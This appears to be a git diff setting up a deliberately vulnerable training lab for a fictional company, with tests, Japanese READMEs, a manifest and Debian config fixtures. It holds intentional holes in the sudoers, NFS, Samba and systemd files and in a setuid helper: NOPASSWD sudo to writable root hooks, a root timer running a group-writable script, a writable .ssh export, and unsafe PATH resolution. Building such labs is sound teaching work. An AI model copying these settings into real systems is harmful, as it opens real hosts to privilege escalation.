+    /ExecStart=\/bin\/sh \/opt\/kazekiri\/maintenance\/nightly\.sh/,
+  );
+  assert.match(timerCheck, /cmp -s "\$payload" "\$golden"/);
+  assert.match(timerCheck, /\/root\/route-flags\/TIMER\.flag/);
+
+  assert.match(suidSource, /setuid\(0\)/);
+  assert.match(
+    suidSource,
+    /execlp\("kazekiri-report-render", "kazekiri-report-render"/,
+  );
+  assert.match(suidSource, /\/root\/route-flags\/SUID\.flag/);
+});
+
+test("bounded IN_ACCESS and PAM adapters map only fixed identities to allowlisted routes", async () => {
+  const fileWatcher = await platformFixture(
+    "usr/local/libexec/open-world-file-watch",
+  );
+  const fileWatcherUnit = await platformFixture(
+    "etc/systemd/system/open-world-file-watch.service",
+  );
+  const nfsWatcher = await fixture(
+    "usr/local/libexec/open-world-nfs-watch",
+  );
+  const nfsWatcherUnit = await fixture(
+    "etc/systemd/system/open-world-nfs-watch.service",
+  );
+  const nfsServerDropIn = await fixture(
+    "etc/systemd/system/nfs-server.service.d/open-world-watch.conf",
+  );
+  const pamAdapter = await fixture(
+    "usr/local/libexec/open-world-ssh-session-event",
+  );
+
+  for (const identity of [
+    "clue-sudo-helper",
+    "clue-writable-timer",
+    "clue-unsafe-path",
+    "root-path-sudo",
+    "root-path-timer",
+    "root-path-suid",
+    "root-common",
+  ]) {
+    assert.ok(fileWatcher.includes(identity));
+  }
+  assert.match(fileWatcher, /inotify_init1/);
+  assert.match(fileWatcher, /IN_ACCESS/);
+  assert.match(fileWatcher, /fixed event delivery failed/);
+  assert.ok(!fileWatcher.includes("auditd.service"));
+  assert.ok(!fileWatcher.includes("SYSCALL"));
+  assert.ok(!fileWatcher.includes("PROCTITLE"));
+  assert.match(fileWatcherUnit, /^Type=notify$/m);
+  assert.match(fileWatcherUnit, /^Restart=no$/m);
+  assert.match(
+    fileWatcherUnit,
+    /^Before=apache2\.service nfs-server\.service open-world-root-timer\.timer smbd\.service ssh\.service$/m,
+  );
+  assert.match(
+    fileWatcherUnit,
+    /^OnFailure=open-world-vulnerable-failure\.service$/m,
+  );
+  assert.match(
+    fileWatcherUnit,
+    /^ExecStart=\/usr\/local\/libexec\/open-world-file-watch$/m,
+  );
+  assert.match(nfsWatcher, /inotify_init1/);
+  assert.match(nfsWatcher, /IN_ACCESS/);
+  assert.match(nfsWatcher, /READY=1/);
+  assert.match(nfsWatcher, /entrance-nfs-workshop/);
+  assert.match(nfsWatcher, /nfs\.workshop\.flag_read/);
+  assert.match(nfsWatcherUnit, /^User=root$/m);
+  assert.match(
+    nfsWatcherUnit,
+    /^Requires=open-world-telemetry\.socket$/m,
+  );
+  assert.match(nfsWatcherUnit, /^Before=nfs-server\.service$/m);
+  assert.match(nfsWatcherUnit, /^Type=notify$/m);
+  assert.ok(!nfsWatcherUnit.includes("ConditionPathExists"));
+  assert.match(
+    nfsWatcherUnit,
+    /^ExecStartPre=\/usr\/bin\/test -f \/run\/open-world-lab\/exercise-ready$/m,
+  );
+  assert.match(
+    nfsWatcherUnit,
+    /^ExecStart=\/usr\/local\/libexec\/open-world-nfs-watch$/m,
+  );
+  assert.match(
+    nfsServerDropIn,
+    /^BindsTo=open-world-nfs-watch\.service$/m,
+  );
+  assert.match(
+    nfsServerDropIn,
+    /^After=open-world-nfs-watch\.service$/m,
+  );
+  assert.match(pamAdapter, /case "\$\{PAM_USER:-\}"/);
+  assert.match(pamAdapter, /ssh\.sales\.session_opened/);
+  assert.match(pamAdapter, /ssh\.mechanic\.session_opened/);
+});
+
+test("every exercise-owned unit stops with the vulnerable target", async () => {
+  const fixtureUnits = [
+    "etc/systemd/system/apache2.service.d/open-world-target.conf",
+    "etc/systemd/system/ssh.service.d/open-world-target.conf",
+    "etc/systemd/system/smbd.service.d/open-world-target.conf",
+    "etc/systemd/system/nfs-server.service.d/open-world-watch.conf",
+    "etc/systemd/system/open-world-nfs-watch.service",
+    "etc/systemd/system/open-world-root-timer.service",
+    "etc/systemd/system/open-world-root-timer.timer",
+  ];
+  const telemetryUnits = [
+    "systemd/open-world-telemetry.service",
+    "systemd/open-world-telemetry.socket",
+  ];
+  const fileWatcherUnit = await platformFixture(
+    "etc/systemd/system/open-world-file-watch.service",
+  );
+
+  for (const relativePath of fixtureUnits) {
+    const unit = await fixture(relativePath);
+    assert.match(
+      unit,
+      /^PartOf=open-world-vulnerable\.target$/m,
+      `${relativePath} must stop with open-world-vulnerable.target`,
+    );
+  }
+  for (const relativePath of telemetryUnits) {
+    const unit = await telemetryFixture(relativePath);
+    assert.match(
+      unit,
+      /^PartOf=open-world-vulnerable\.target$/m,
+      `${relativePath} must stop with open-world-vulnerable.target`,
+    );
+  }
+  assert.match(
+    fileWatcherUnit,
+    /^PartOf=open-world-vulnerable\.target$/m,
+  );
+
+  for (const relativePath of fixtureUnits.slice(0, 4)) {
+    const dropIn = await fixture(relativePath);
+    assert.ok(
+      !dropIn.includes("[Install]"),
+      `${relativePath} must not add a boot enablement alias`,
+    );
+  }
+});
+
+test("every fixture event tuple exists in the world allowlist", async () => {
+  const files = [
+    "var/www/kazekiri/staff/diagnostics.php",
+    "etc/samba/smb.conf.d/open-world-target.conf",
+    "usr/local/libexec/open-world-ssh-session-event",
+    "usr/local/libexec/open-world-nfs-watch",
+    "usr/local/sbin/kazekiri-maintenance",
+    "usr/local/libexec/open-world-timer-check",
+    "usr/local/src/kazekiri-report.c",
+  ];
+  const combined = (
+    await Promise.all(files.map((relativePath) => fixture(relativePath)))
+  ).join("\n") + "\n" + await platformFixture(
+    "usr/local/libexec/open-world-file-watch",
+  );
+
+  for (const route of WORLD.eventRoutes) {
+    assert.ok(
+      combined.includes(route.nodeId),
+      `fixture must reference node ${route.nodeId}`,
+    );
+    assert.ok(
+      combined.includes(route.sourceId),
+      `fixture must reference source ${route.sourceId}`,
+    );
+    assert.ok(
+      combined.includes(route.evidenceCode),
+      `fixture must reference evidence ${route.evidenceCode}`,
+    );
+  }
+});
+
+test("all flag placement parent paths have an ownership or fixture boundary", async () => {
+  const manifest = JSON.parse(
+    await readFile(path.join(fixtures, "fixture-manifest.json"), "utf8"),
+  );
+  const ownershipPaths = manifest.requiredOwnership.map((entry) =>
+    entry.path.replace(/^\//, ""),
+  );
+
+  for (const flag of WORLD.flags) {
+    const parent = path.posix.dirname(flag.location);
+    const covered =
+      flag.category === "windows" ||
+      ownershipPaths.some(
+        (ownedPath) =>
+          parent === ownedPath || parent.startsWith(`${ownedPath}/`),
+      ) ||
+      ["home/sales", "root", "root/route-flags"].some(
+        (base) => parent === base || parent.startsWith(`${base}/`),
+      );
+    assert.ok(covered, `flag parent needs an ownership boundary: ${parent}`);
+  }
+});
+
+test("required static fixture files exist", async () => {
+  await Promise.all([
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/open-world-root-timer.timer",
+      ),
+    ),
+    access(
+      path.join(
+        platformTemplates,
+        "etc/systemd/system/open-world-file-watch.service",
+      ),
+    ),
+    access(
+      path.join(
+        platformTemplates,
+        "usr/local/libexec/open-world-file-watch",
+      ),
+    ),
+    access(path.join(fixtureRoot, "etc/exports.d/open-world-target.exports")),
+    access(path.join(fixtureRoot, "etc/sudoers.d/open-world-target")),
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/open-world-nfs-watch.service",
+      ),
+    ),
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/nfs-server.service.d/open-world-watch.conf",
+      ),
+    ),
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/apache2.service.d/open-world-target.conf",
+      ),
+    ),
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/ssh.service.d/open-world-target.conf",
+      ),
+    ),
+    access(
+      path.join(
+        fixtureRoot,
+        "etc/systemd/system/smbd.service.d/open-world-target.conf",
+      ),
+    ),
+    access(
+      path.join(
+        fixtureRoot,
+        "usr/local/libexec/open-world-nfs-watch",
+      ),
+    ),
+    access(path.join(fixtureRoot, "usr/local/src/kazekiri-report.c")),
+  ]);
+});
diff --git a/labs/open-world-target/telemetry/tests/status-control.test.mjs b/labs/open-world-target/telemetry/tests/status-control.test.mjs
new file mode 100644
index 0000000..fec2346
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/status-control.test.mjs
@@ -0,0 +1,47 @@
+import assert from "node:assert/strict";
+import { EventEmitter } from "node:events";
+import test from "node:test";
+
+import { WORLD } from "../../world/world-definition.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+import {
+  DETECTOR_STATUS_SIGNALS,
+  installDetectorStatusSignals,
+} from "../src/status-control.mjs";
+
+test("detector status signals are explicit, idempotent, and removable", () => {
+  assert.deepEqual(DETECTOR_STATUS_SIGNALS, {
+    SIGUSR1: "unavailable",
+    SIGUSR2: "live",
+  });
+  const engine = new SessionEngine({ sessionId: "status-signals" });
+  const signalTarget = new EventEmitter();
+  const remove = installDetectorStatusSignals({ engine, signalTarget });
+
+  signalTarget.emit("SIGUSR1");
+  assert.equal(engine.getProjection().telemetry.status, "unavailable");
+  const unavailableRevision = engine.getProjection().revision;
+  const route = WORLD.eventRoutes.find(
+    (candidate) => candidate.id === "event-entry-web",
+  );
+  const event = {
+    sessionId: "status-signals",
+    kind: route.kind,
+    nodeId: route.nodeId,
+    sourceId: route.sourceId,
+    evidenceCode: route.evidenceCode,
+    occurredAt: "2026-07-27T00:00:00.000Z",
+  };
+  assert.equal(engine.applyEvent(event).changed, false);
+  assert.equal(engine.getProjection().progress.discovered, 0);
+  signalTarget.emit("SIGUSR1");
+  assert.equal(engine.getProjection().revision, unavailableRevision);
+
+  signalTarget.emit("SIGUSR2");
+  assert.equal(engine.getProjection().telemetry.status, "live");
+  assert.equal(engine.applyEvent(event).changed, true);
+  assert.equal(engine.getProjection().progress.discovered, 1);
+  remove();
+  assert.equal(signalTarget.listenerCount("SIGUSR1"), 0);
+  assert.equal(signalTarget.listenerCount("SIGUSR2"), 0);
+});
diff --git a/labs/open-world-target/telemetry/tests/world.test.mjs b/labs/open-world-target/telemetry/tests/world.test.mjs
new file mode 100644
index 0000000..952a67a
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/world.test.mjs
@@ -0,0 +1,129 @@
+import assert from "node:assert/strict";
+import { mkdtemp, readFile, rm, stat } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import test from "node:test";
+
+import {
+  getPrivateFlagAnswer,
+} from "../../world/private-answers.mjs";
+import {
+  getVerifierFlagIds,
+  verifyFlagAnswer,
+} from "../../world/flag-verifiers.mjs";
+import { materializeFlags } from "../../world/materialize-flags.mjs";
+import {
+  validatePrivateAnswers,
+} from "../../world/validate-private-answers.mjs";
+import { validateWorld } from "../../world/validate-world.mjs";
+import { WORLD } from "../../world/world-definition.mjs";
+
+test("world contract has 3 entrances, 3 footholds, 3 root paths, 14 flags, and 9 combinations", () => {
+  const result = validateWorld();
+  assert.deepEqual(
+    {
+      entrances: result.entrances,
+      footholds: result.footholds,
+      rootPaths: result.rootPaths,
+      flags: result.flags,
+      combinations: result.viableCombinations.length,
+    },
+    {
+      entrances: 3,
+      footholds: 3,
+      rootPaths: 3,
+      flags: 14,
+      combinations: 9,
+    },
+  );
+
+  const combinations = new Set(
+    result.viableCombinations.map(
+      ({ entranceId, rootPathId }) => `${entranceId}:${rootPathId}`,
+    ),
+  );
+  for (const entranceId of WORLD.entranceIds) {
+    for (const rootPathId of WORLD.rootPathIds) {
+      assert.ok(combinations.has(`${entranceId}:${rootPathId}`));
+    }
+  }
+});
+
+test("runtime verifiers match build-only answers without carrying plaintext", async () => {
+  validatePrivateAnswers();
+  const flagIds = WORLD.flags.map((flag) => flag.id).sort();
+  const randomSuffixes = flagIds.map((flagId) => {
+    const answer = getPrivateFlagAnswer(flagId);
+    const suffix = answer.slice(answer.lastIndexOf("_") + 1, -1);
+    assert.match(suffix, /^[a-f0-9]{32,}$/);
+    assert.equal(suffix.length % 2, 0);
+    return suffix;
+  });
+  assert.equal(new Set(randomSuffixes).size, flagIds.length);
+  assert.deepEqual(getVerifierFlagIds().sort(), flagIds);
+  for (const flagId of flagIds) {
+    assert.equal(
+      verifyFlagAnswer(getPrivateFlagAnswer(flagId)),
+      flagId,
+    );
+  }
+  assert.equal(verifyFlagAnswer("FLAG{wrong}"), null);
+  assert.match(
+    getPrivateFlagAnswer("flag-windows"),
+    /^FLAG\{ow_windows_archive_[a-f0-9]{48}\}$/,
+  );
+
+  const sessionEngine = await readFile(
+    new URL("../src/session-engine.mjs", import.meta.url),
+    "utf8",
+  );
+  assert.ok(!sessionEngine.includes("private-answers"));
+  assert.ok(sessionEngine.includes("flag-verifiers"));
+
+  const runtimeValidator = await readFile(
+    new URL("../../world/validate-world.mjs", import.meta.url),
+    "utf8",
+  );
+  const verifierSource = await readFile(
+    new URL("../../world/flag-verifiers.mjs", import.meta.url),
+    "utf8",
+  );
+  assert.ok(!runtimeValidator.includes("private-answers"));
+  for (const flagId of flagIds) {
+    assert.ok(!verifierSource.includes(getPrivateFlagAnswer(flagId)));
+  }
+});
+
+test("flag materializer creates exactly 14 synthetic files without overwriting", async (context) => {
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-flags-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+
+  const written = await materializeFlags(temporaryRoot);
+  assert.equal(written.length, 14);
+  assert.equal(new Set(written).size, 14);
+
+  for (const flag of WORLD.flags) {
+    const destination = path.join(temporaryRoot, flag.location);
+    assert.equal(
+      await readFile(destination, "utf8"),
+      `${getPrivateFlagAnswer(flag.id)}\n`,
+    );
+    const metadata = await stat(destination);
+    assert.ok(metadata.isFile());
+  }
+
+  await assert.rejects(
+    materializeFlags(temporaryRoot),
+    (error) => error?.code === "EEXIST",
+  );
+  await assert.rejects(
+    materializeFlags("relative-root"),
+    /absolute path/,
+  );
+  await assert.rejects(
+    materializeFlags(path.parse(temporaryRoot).root),
+    /filesystem root/,
+  );
+});
diff --git a/labs/open-world-target/world/README.md b/labs/open-world-target/world/README.md
new file mode 100644
index 0000000..95c85de
--- /dev/null
+++ b/labs/open-world-target/world/README.md
@@ -0,0 +1,39 @@
+# 風切モータース target world
+
+このディレクトリは、演習専用の架空企業「風切モータース」の世界定義と
+Debianへ配置する静的fixtureだけを所有する。実在の企業、人物、顧客情報、
+資格情報は含まない。
+
+## 世界の契約
+
+- 入口はWeb診断、匿名SMB引き継ぎ共有、NFS所有権対応の3つ。
+- footholdは`www-data`、`sales`、`mechanic`の3つ。
+- どのfootholdからもsudo hook、root timer、SUID PATHの3経路を選べる。
+- flagsは入口3、foothold 3、root手掛かり3、root経路3、共通root 1、
+  Windows追加flag 1の計14個。
+- 既知CVE、ブルートフォース、マルウェア、永続化、外部ネットワークを使わない。
+
+`world-definition.mjs`が内部の正本であり、ブラウザへ直接配信してはいけない。
+`private-answers.mjs`はgolden imageを作るbuild hostだけが読み、Debian targetへ
+コピーしてはいけない。telemetry daemonは`flag-verifiers.mjs`のSHA-256 verifier
+だけを使う。全flagは128-bit以上、Windows flagは192-bitの暗号学的ランダムsuffix
+を持ち、Debianへ置くdigestからの総当たりを現実的にしない。公開APIは
+`telemetry`のprojectionを通す。
+
+## 検証とflag配置
+
+```sh
+node labs/open-world-target/world/validate-world.mjs
+node labs/open-world-target/world/validate-private-answers.mjs
+node labs/open-world-target/world/materialize-flags.mjs /absolute/staging/root
+```
+
+最初のvalidatorはDebian runtimeでも安全な構造検査、2つ目はbuild hostだけで
+平文とverifierの対応、全14 suffixの128-bit以上の長さと一意性を検査する。
+`materialize-flags.mjs`は相対パスとfilesystem rootを拒否し、既存ファイルを
+既定で上書きしない。`--force`はgolden imageを再生成する明示的な構築工程で
+だけ使う。Windows用flagはstaging root内の`windows-fixture/`へ生成され、
+Debianのexercise modeからWindowsを書き換える処理はここには置かない。
+
+`fixtures/rootfs`は設定例であり、単独では有効化しない。実機への所有者、
+group、package、unit有効化、ネットワーク隔離はplatformの構築工程が担当する。
diff --git a/labs/open-world-target/world/fixtures/README.md b/labs/open-world-target/world/fixtures/README.md
new file mode 100644
index 0000000..4fe50f0
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/README.md
@@ -0,0 +1,55 @@
+# Static target fixtures
+
+このtreeはDebian 13のgolden imageへコピーする設定例であり、現在のPCへ
+直接適用するinstallerではない。`fixture-manifest.json`の所有者・group・modeを
+platform構築工程が適用し、exercise modeの直結NICだけでserviceを起動する。
+
+意図的な弱点は次の6境界に限定する。
+
+1. Apache/PHP診断画面が`target`をshell commandへ連結する。
+2. Sambaの`handover`を匿名で読め、演習専用の古い資格情報が残る。
+3. NFSがmechanicの`.ssh`をmechanic UIDへall-squashして書き込み可能にする。
+4. `lab-foothold`が作れるhookをsudo許可済みhelperがrootで実行する。
+5. root timerが`lab-foothold`変更可能なpayloadを実行する。
+6. 教材用SUID helperがrendererを安全でない`PATH`解決で実行する。
+
+Web、SMB、NFSは`10.13.37.0/24`へ限定する。SMBはTCP 445だけを待ち受け、
+TCP 139は開かない。既知CVE、ブルートフォース、
+マルウェア、永続化は使わない。Apache access logはquery stringを含めない。
+PAM adapterと固定path inotify watcherもallowlist済みの定数だけをUnix socketへ送り、入力値、
+資格情報、ファイル内容、syscall/command/path metadataを保存しない。
+各hookはsource scope別HMAC鍵でwire eventを署名し、daemonはtag検証後にtagを
+破棄する。鍵の所有権正本は`fixture-manifest.json`、runtime手順は
+`telemetry/README.md`に置く。
+
+NFSはv4/TCPだけを使い、export自身を`fsid=0`のpseudo-rootにする。Kali側は
+`sudo mount -t nfs4 -o vers=4,proto=tcp 10.13.37.10:/ /mnt/workshop`
+で直接mountする。Debian trixieではNFSv4-onlyでもkernel認証cacheのため
+`nfs-mountd`自体は必要なので20048へ固定するが、nftablesは直結側でも20048を
+dropする。rpcbindはplatformでmaskし、`showmount`を使わない。攻撃側へ公開する
+NFS portはTCP 2049だけである。
+
+教材eventの検出は、root所有の`open-world-file-watch.service`がbundleに固定したallowlist pathだけを
+Linux inotifyで監視する。
+NFS readを含む対象eventは、固定tupleだけをroot-scope鍵で署名してUnix socketへ送る。raw syscall
+record、command、任意path、file content、NFS request本文は保存も送信もしない。watcherは
+exercise-ready markerがなければ起動せず、署名eventを配信できない場合は失敗する。
+`nfs-server.service`はwatcherへ`BindsTo`されるため、その場合はNFSも停止して未記録のまま演習を
+続行しない。
+
+Apache、SSH、Samba、NFS、file watcher、root timer、telemetry service/socketは
+すべて`open-world-vulnerable.target`へ`PartOf`と`BindsTo`で結ぶ。target停止時だけでなく、
+演習中に必須unitまたはtelemetry socketが止まった場合もvulnerable targetをfail-closeで停止する。
+これらを通常boot targetへ個別にenableせず、platformのexercise targetからだけ起動する。
+maintenanceへ戻る途中で教材用listenerやtimerを残さない。
+
+実機確認ではtarget側の`ss -ltnp`で直結アドレスの445だけがSambaであり139が
+存在しないこと、Kali側のport scanでも22/80/445/2049/8080以外が見えないことを
+記録する。NFS mountから`ENTRY-NFS.flag`を読むと
+`entrance-nfs-workshop`だけが発火することも記録する。
+
+`open-world-root-timer.timer`は常に動くが、golden payloadとの差分があるとき
+だけroot専用の経路flagを読み、file watcherが固定教材eventとして経路到達を記録する。sudo helper
+とSUID helperも、root制御コードを起動する直前に対応する経路flagを読む。
+共通`/root/ROOT.flag`の読み取りを最後の信頼可能な自動イベントとし、それ以後の
+Windows調査は自動検出しない。
diff --git a/labs/open-world-target/world/fixtures/fixture-manifest.json b/labs/open-world-target/world/fixtures/fixture-manifest.json
new file mode 100644
index 0000000..35edc3e
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/fixture-manifest.json
@@ -0,0 +1,166 @@
+{
+  "version": 1,
+  "synthetic": true,
+  "network": {
+    "targetAddress": "10.13.37.10/24",
+    "allowedClientCidr": "10.13.37.0/24",
+    "externalRouteRequired": false
+  },
+  "services": [
+    "apache2.service",
+    "dnsmasq.service",
+    "ssh.service",
+    "smbd.service",
+    "nfs-server.service",
+    "open-world-nfs-watch.service",
+    "open-world-file-watch.service",
+    "open-world-root-timer.timer",
+    "open-world-telemetry.service"
+  ],
+  "groups": {
+    "lab-foothold": [
+      "www-data",
+      "sales",
+      "mechanic"
+    ],
+    "lab-events": [
+      "www-data",
+      "nobody",
+      "lab-telemetry"
+    ]
+  },
+  "eventKeyProvisioning": {
+    "directory": {
+      "path": "/etc/examserver-open-world/event-keys",
+      "owner": "root",
+      "group": "root",
+      "mode": "0711"
+    },
+    "low": {
+      "path": "/etc/examserver-open-world/event-keys/low.key",
+      "owner": "root",
+      "group": "lab-events",
+      "mode": "0440",
+      "minimumRandomBytes": 32
+    },
+    "root": {
+      "path": "/etc/examserver-open-world/event-keys/root.key",
+      "owner": "root",
+      "group": "lab-telemetry",
+      "mode": "0440",
+      "minimumRandomBytes": 32
+    }
+  },
+  "accounts": [
+    {
+      "name": "sales",
+      "uid": 1101,
+      "interactive": true,
+      "synthetic": true
+    },
+    {
+      "name": "mechanic",
+      "uid": 1102,
+      "interactive": true,
+      "synthetic": true
+    },
+    {
+      "name": "lab-telemetry",
+      "uid": 1103,
+      "interactive": false,
+      "synthetic": true
+    }
+  ],
+  "requiredOwnership": [
+    {
+      "path": "/var/lib/open-world/flags",
+      "owner": "root",
+      "group": "www-data",
+      "mode": "0750"
+    },
+    {
+      "path": "/home/sales",
+      "owner": "sales",
+      "group": "sales",
+      "mode": "0750"
+    },
+    {
+      "path": "/home/mechanic",
+      "owner": "mechanic",
+      "group": "mechanic",
+      "mode": "0750"
+    },
+    {
+      "path": "/srv/kazekiri/handover",
+      "owner": "root",
+      "group": "root",
+      "mode": "0755"
+    },
+    {
+      "path": "/home/mechanic/.ssh",
+      "owner": "mechanic",
+      "group": "mechanic",
+      "mode": "0700"
+    },
+    {
+      "path": "/srv/kazekiri/maintenance-hooks",
+      "owner": "root",
+      "group": "lab-foothold",
+      "mode": "0775"
+    },
+    {
+      "path": "/opt/kazekiri/maintenance/nightly.sh",
+      "owner": "root",
+      "group": "lab-foothold",
+      "mode": "0775"
+    },
+    {
+      "path": "/usr/local/bin/kazekiri-report",
+      "owner": "root",
+      "group": "root",
+      "mode": "4755"
+    },
+    {
+      "path": "/var/www/.lab-flags",
+      "owner": "root",
+      "group": "www-data",
+      "mode": "0750"
+    },
+    {
+      "path": "/opt/kazekiri/clues",
+      "owner": "root",
+      "group": "lab-foothold",
+      "mode": "0550"
+    },
+    {
+      "path": "/root/route-flags",
+      "owner": "root",
+      "group": "root",
+      "mode": "0700"
+    },
+    {
+      "path": "/root",
+      "owner": "root",
+      "group": "root",
+      "mode": "0700"
+    },
+    {
+      "path": "/usr/local/sbin/open-world-telemetry-status",
+      "owner": "root",
+      "group": "root",
+      "mode": "0750"
+    },
+    {
+      "path": "/usr/local/libexec/open-world-nfs-watch",
+      "owner": "root",
+      "group": "root",
+      "mode": "0755"
+    },
+    {
+      "path": "/usr/local/libexec/open-world-file-watch",
+      "owner": "root",
+      "group": "root",
+      "mode": "0755"
+    }
+  ]
+}
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/apache2/sites-available/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/apache2/sites-available/open-world-target.conf
new file mode 100644
index 0000000..cd5b09b
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/apache2/sites-available/open-world-target.conf
@@ -0,0 +1,17 @@
+Listen 10.13.37.10:80
+
+<VirtualHost 10.13.37.10:80>
+    ServerName target.examserver.test
+    DocumentRoot /var/www/kazekiri
+
+    <Directory /var/www/kazekiri>
+        AllowOverride None
+        Options -Indexes
+        Require all granted
+    </Directory>
+
+    DirectoryIndex index.php
+    ErrorLog /var/log/apache2/open-world-error.log
+    CustomLog /var/log/apache2/open-world-access.log "%a %t %m %U %>s"
+    LogLevel warn
+</VirtualHost>
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/exports.d/open-world-target.exports b/labs/open-world-target/world/fixtures/rootfs/etc/exports.d/open-world-target.exports
new file mode 100644
index 0000000..50956a9
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/exports.d/open-world-target.exports
@@ -0,0 +1,2 @@
+# TRAINING-ONLY: NFSv4 pseudo-root is mechanic's writable SSH area.
+/home/mechanic/.ssh 10.13.37.0/24(rw,sync,no_subtree_check,fsid=0,all_squash,anonuid=1102,anongid=1102)
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/nfs.conf.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/nfs.conf.d/open-world-target.conf
new file mode 100644
index 0000000..fc840bd
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/nfs.conf.d/open-world-target.conf
@@ -0,0 +1,10 @@
+[nfsd]
+vers2 = n
+vers3 = n
+vers4 = y
+tcp = y
+udp = n
+port = 2049
+
+[mountd]
+port = 20048
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/pam.d/sshd.open-world.append b/labs/open-world-target/world/fixtures/rootfs/etc/pam.d/sshd.open-world.append
new file mode 100644
index 0000000..272f23e
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/pam.d/sshd.open-world.append
@@ -0,0 +1,2 @@
+# Append this exact line to Debian's packaged /etc/pam.d/sshd.
+session optional pam_exec.so quiet /usr/local/libexec/open-world-ssh-session-event
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/samba/smb.conf.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/samba/smb.conf.d/open-world-target.conf
new file mode 100644
index 0000000..df65e68
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/samba/smb.conf.d/open-world-target.conf
@@ -0,0 +1,16 @@
+[global]
+    interfaces = lo 10.13.37.10/24
+    bind interfaces only = yes
+    map to guest = Bad User
+    guest account = nobody
+    server min protocol = SMB2
+    smb ports = 445
+    log level = 1
+
+[handover]
+    comment = TRAINING ONLY - synthetic shift handover
+    path = /srv/kazekiri/handover
+    browseable = yes
+    guest ok = yes
+    read only = yes
+    preexec = /usr/local/bin/open-world-event --kind entry.discovered --node entrance-smb-handover --source smbd.service --evidence smb.handover.connected
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/ssh/sshd_config.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/ssh/sshd_config.d/open-world-target.conf
new file mode 100644
index 0000000..95c1f9d
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/ssh/sshd_config.d/open-world-target.conf
@@ -0,0 +1,6 @@
+ListenAddress 10.13.37.10
+PasswordAuthentication yes
+PermitRootLogin no
+AllowUsers sales mechanic
+X11Forwarding no
+AllowTcpForwarding no
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/sudoers.d/open-world-target b/labs/open-world-target/world/fixtures/rootfs/etc/sudoers.d/open-world-target
new file mode 100644
index 0000000..7340c56
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/sudoers.d/open-world-target
@@ -0,0 +1,2 @@
+# TRAINING-ONLY: every foothold can ask the helper to run a shared hook.
+%lab-foothold ALL=(root) NOPASSWD: /usr/local/sbin/kazekiri-maintenance
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/apache2.service.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/apache2.service.d/open-world-target.conf
new file mode 100644
index 0000000..91e7570
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/apache2.service.d/open-world-target.conf
@@ -0,0 +1,2 @@
+[Unit]
+PartOf=open-world-vulnerable.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/nfs-server.service.d/open-world-watch.conf b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/nfs-server.service.d/open-world-watch.conf
new file mode 100644
index 0000000..7d2e2e7
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/nfs-server.service.d/open-world-watch.conf
@@ -0,0 +1,4 @@
+[Unit]
+BindsTo=open-world-nfs-watch.service
+After=open-world-nfs-watch.service
+PartOf=open-world-vulnerable.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-nfs-watch.service b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-nfs-watch.service
new file mode 100644
index 0000000..e5905b5
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-nfs-watch.service
@@ -0,0 +1,27 @@
+[Unit]
+Description=ExamServer NFS flag access telemetry
+Requires=open-world-telemetry.socket
+After=open-world-telemetry.socket
+Before=nfs-server.service
+PartOf=open-world-vulnerable.target
+
+[Service]
+Type=notify
+NotifyAccess=main
+User=root
+Group=root
+ExecStartPre=/usr/bin/test -f /run/open-world-lab/exercise-ready
+ExecStart=/usr/local/libexec/open-world-nfs-watch
+Restart=on-failure
+RestartSec=1s
+TimeoutStartSec=10s
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectSystem=strict
+ProtectHome=read-only
+ReadOnlyPaths=/home/mechanic/.ssh/ENTRY-NFS.flag
+RestrictAddressFamilies=AF_UNIX
+LockPersonality=yes
+
+[Install]
+WantedBy=open-world-vulnerable.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.service b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.service
new file mode 100644
index 0000000..c972351
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.service
@@ -0,0 +1,10 @@
+[Unit]
+Description=TRAINING ONLY - Kazekiri root maintenance payload
+PartOf=open-world-vulnerable.target
+
+[Service]
+Type=oneshot
+User=root
+Group=root
